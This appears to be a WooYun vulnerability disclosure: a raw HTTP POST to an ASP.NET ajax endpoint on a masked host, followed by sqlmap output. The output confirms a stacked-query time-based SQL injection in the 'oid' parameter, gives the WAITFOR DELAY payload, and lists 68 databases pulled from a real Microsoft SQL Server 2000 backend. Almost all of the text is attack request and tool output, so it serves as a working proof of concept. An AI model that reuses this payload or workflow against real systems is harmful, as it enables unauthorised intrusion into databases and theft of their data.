WooYun.org

POST /ajax.ashx?action=getcomment&t=0.460717570502311 HTTP/1.1
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://**.**.**.**/
Cookie: __oran__mem_security_string=; __oran__mem_username=; __oran__k_Email=; __oran__k_MPhone=; ASP.NET_SessionId=ktxqmfqwrz3rce45ay0a2xq0
Host: **.**.**.**
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
mark=news&oid=9

POST parameter 'oid' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 107 HTTP(s) requests:
---
Parameter: oid (POST)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: oid=9;WAITFOR DELAY '0:0:5'--&top=3&type=news
---
[14:27:12] [INFO] testing Microsoft SQL Server
[14:27:13] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[14:27:23] [INFO] confirming Microsoft SQL Server
[14:27:34] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2000
[14:27:34] [INFO] fetching database names
[14:27:34] [INFO] fetching number of databases
[14:27:34] [INFO] retrieved:
[14:27:35] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[14:27:35] [ERROR] unable to retrieve the number of databases
[14:27:35] [INFO] retrieved:
[14:27:45] [INFO] adjusting time delay to 2 seconds due to good response times
kfb_db
[14:29:18] [INFO] retrieved: master
[14:30:51] [INFO] retrieved: tem
available databases [68]:
[*] bre_db
[*] ddcp_db
[*] dels_hg_db
[*] dlsc_db
[*] dyjzjck_db
[*] fldhb_db
[*] fzjb_db
[*] hjl_db
[*] hrdrgc_db
[*] hwsc_db
[*] hwy_db
[*] hydq_db
[*] hzzlbz_db
[*] jbrnzs_db
[*] jlhg_db
[*] jlzc_db
[*] jshb_hg_db
[*] jxkbf_db
[*] kfb_db
[*] knf_db
[*] lalibaba_db
[*] lsjg_db
[*] lszjkjy_db
[*] lwsc_db
[*] lx_db
[*] lxh_dl'<?
[*] lzkj_db
[*] majj_hg_db
[*] master
[*] model
[*] msdb
[*] Northwind
[*] nswwx_db
[*] ntkdz_db
[*] pfdc_db
[*] plqryp_db
[*] ppss_db
[*] pryy_db
[*] pubs
[*] qrjcjs
[*] qse_hg_db
[*] qy_hg_db
[*] qyd_db
[*] rctc_db
[*] rgdzsw_hg_db
[*] rjsy_db
[*] sf_db
[*] shhmjz_db
[*] sjdy_db
[*] sty_db
[*] tempdb
[*] wklfz_db
[*] wxwcyg_db
[*] xl_hg_db
[*] xltl1_db
[*] xxkj_db
[*] xxyq_db
[*] yjmy_db
[*] ylygyyw_db
[*] ymxlzx_db
[*] yntb_db
[*] zbzs_hg_db
[*] zccg_db
[*] zdfl_db
[*] zf_db
[*] zlb_db
[*] zsk_db
[*] zwjden_db